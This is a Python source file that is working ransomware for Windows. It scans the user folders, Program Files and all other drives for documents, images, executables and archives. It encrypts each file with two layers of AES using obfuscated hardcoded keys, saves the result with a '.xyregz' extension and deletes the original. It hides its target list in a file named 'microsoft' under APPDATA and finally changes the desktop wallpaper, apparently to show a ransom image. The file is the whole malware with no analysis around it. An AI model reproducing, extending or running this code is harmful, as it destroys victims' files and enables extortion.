import time
import os
import sys
import platform
from threading import Thread
from Crypto.Cipher import AES
import pkg_resources
import string
import ctypes
import win32con
import win32api
import stat

spab = (lambda x:([print(' ') for i in range(x)]))

#analysist system
start = os.getcwd()
bitt = platform.machine()
osdet = platform.platform()
try:
 nama = platform.node()
except:
 nama = None
pros = platform.processor()
vpython = list(sys.version)
vpython = vpython[0]
osss = platform.system()
sysdet = os.environ

def bentar():
 time.sleep(1)

#check availble drive
letter = list(string.ascii_uppercase)
availl = []
def chkdsk():
 null = 0
 for cba in letter:
     try:
         os.chdir(letter[null] + ':\\')
         availl.append(letter[null])
         null += 1
     except FileNotFoundError:
         null += 1
     except:
         pass
chkdsk()

#prepare log file
def logg(isi):
 where = 'C:\\sharing'
 log = where + '\log'
 windir = sysdet['USERPROFILE']
 log1 = os.path.join(windir, 'log')
 ch = os.access(log, os.W_OK)
 ch1 = os.access(log1, os.W_OK)
 if ch == False:
  try:
   os.chdir('C:\\')
   os.mkdir('sharing')
   open(log, 'w+')
  except:
   try:
    pass#os.system('reboot')
   except:
    pass#os.system('shutdown -r -t 1')
 if ch1 == False:
  try:
   os.chdir(windir)
   open(log1, 'w+')
  except:
   try:
    pass#os.system('reboot')
   except:
    pass#os.system('shutdown -r -t 1')
 
 with open(log1, 'a+') as gol:
  gol.write('\n')
  gol.write(isi)
  gol.write('\n')

 with open(log1, 'a+') as gol1:
  gol1.write('\n')
  gol1.write(isi)
  gol1.write('\n')

#add :\\ to each drive
def addd(x):
    return x + ':\\'
availl = list(map(addd, availl))  


#scan file
extension = ['.dll', '.img',  '.jpg', '.jpeg', '.pptx', '.ppt', '.doc', '.docx', '.txt', '.mp4', '.avi', '.exe', '.zip', '.rar', '.pdf', '.apk', '.msi', '.png', '.mp3', '.ppt', '.iso']
fileee = []
direc = []
null = 0
def scanfile(drive):
 os.chdir(drive)
 menu = (os.listdir())
 #seperate file and folder
 for v in menu:
     try:
         os.chdir(v)
         direc.append(v)
         os.chdir(drive)
     except NotADirectoryError:
         fileee.append(v)
     except PermissionError:
         logg('permission error at %s %s' %(os.getcwd(), v)) 
        
    
nol = 0
logg('start')
scanfile(availl[null])

#availl.remove('C:\\')
password = b'\x13\xc9\xc7\xec\x8d\x0b\xf6\x19\x85\x97\r\xf5\x99\x19\xbaK'
iv = b'P\x0e\xca\x84\x0cj08_\x04F\xd8~\x0c@V'
password1 = b'\xd0\x85\x92\x8c!\xf6\x07<\x91"oF\xdf\xde\xd7\xad'
iv1 = b"\xb8\xe4R3c\xe9'\xeb)\x8b\\\x8c\x14\nUX"

mode0 = AES.MODE_CBC
mode1= AES.MODE_CFB

dec = AES.new('passwordpassword', mode0, 'drowssapdrowssap')
dec1 = AES.new('drowssapdrowssap', mode1, 'passwordpassword')

decry = dec.decrypt(password)
decry1 = dec.decrypt(iv)
decry2 = dec1.decrypt(password1)
decry3 = dec1.decrypt(iv1)

#encrypt function

def holypart(filee):
  try:
    test = os.access(filee, os.W_OK)
    if test == False:
        logg('unable to access %s in holypart' %(filee))#print(os.listdir())
    encry = AES.new(decry, mode0, decry1)
    encry1 = AES.new(decry2, mode1, decry3)
    with open(filee, 'rb')  as holy:
        nice = holy.read()
        if len(nice) % 16 != 0:
            while True:
                if len(nice) % 16 == 0:
                    break
                nice += b'\0'
        finish = encry.encrypt(nice)
        finish = encry1.encrypt(finish)
        with open(filee + '.xyregz', 'wb') as part:
            part.write(finish)
    try:
      win32api.SetFileAttributes(filee, win32con.FILE_ATTRIBUTE_NORMAL)
    except:
      pass
    try:
      os.chmod(filee, stat.S_IWRITE)
    except:
      pass
    os.remove(filee)
  except:
    logg('holypart error')

bentar()            

#function seperate file and folder
def folorfile(what):
    where = os.getcwd()
    try:
        os.chdir(what)
        os.chdir(where)
        return 11
    except NotADirectoryError:
        return 22
    except PermissionError:
        return 33

#scan primary target

sysdr = sysdet['SYSTEMDRIVE'] #C:
sysdr = sysdr + '\\'
foll = []
aquired = []

def tandex(command):
    try:
        command

    except:
        return 33

def lfile(filee):
    return str(os.getcwd()) + filee

targetp = []
null = 1
#availl.insert(0, os.path.join(sysdr, 'kk'))
#availl.insert(0, os.path.join(sysdr, 'sharing', 'Program Files - copy'))
availl.insert(0, os.path.join(sysdr, 'Program Files (x86)'))
availl.insert(0, os.path.join(sysdr, 'Program Files'))
availl.insert(0, os.path.join(sysdr, 'Users'))
try:
 availl.remove('C:\\')
except:
    pass
try:
 availl.remove('D:\\')
except:
    pass
#print(os.access(os.path.join(sysdr, 'sharing', 'Program Files - copy'), os.W_OK))
#print(availl)

def scanpt():
 global null
 global targetp
 null = 0
 #print(os.getcwd())
 for windows in availl:
    try:
     for root, dirs, files in os.walk(windows, topdown=False):
       for name in files:
         targetp.append(os.path.join(root, name))
    
    except:
      logg('error at %s in function targetp. scanning %s' %(str(windows)))
      pass
                      
                        
          
            
    
 #filter with target extension  
 ready = []
 null = 0
 nol = 0
 global toenc
 for greedy in targetp:
  for dos in extension:
    check = greedy.endswith(dos)
    if check == True:
      ready.append(greedy)
      break
    null += 1
 try:
   open(os.path.join(sysdet['APPDATA'], 'microsoft'), 'w+')
   toenc = os.path.join(sysdet['APPDATA'], 'microsoft')
 except:
   try:
    open(os.path.join(sysdet['TEMP'], 'microsoft'), 'w+')
    toenc = os.path.join(sysdet['TEMP'], 'microsoft')
    logg('error while writing to enc at APPDATA' )
   except:
    open(os.path.join(sysdet['LOCALAPPDATA'], 'microsoft'), 'w+')
    toenc = os.path.join(sysdet['LOCALAPPDATA'], 'microsoft')
    logg('error while writing to enc at TEMP')
 with open(toenc, 'a+') as donee:
   for win in ready:
     donee.write(win)
     donee.write('\n')
scanpt()
endzone = []
if True:#try:
 with open(toenc, 'r') as ritual:
   cuz = ritual.readlines()
   for mello in cuz:
     endzone.append(mello.rstrip('\n'))
#except:
#  logg('error at read toenc')

try:
  for endday in endzone:
    try:
     holypart(endday)
    except:
      logg('error while encrypt %s' %(endday))
except:
  logg('cant start encrypt')

#drive = "C:\\"
#folder = "images"
#image = "img1.jpg"
#image_path = os.path.join(drive, folder, image)
image_path = 'xyz.jpg'
SPI_SETDESKWALLPAPER = 20 
ctypes.windll.user32.SystemParametersInfoA(SPI_SETDESKWALLPAPER, 0, image_path, 3)


    


    
  
  

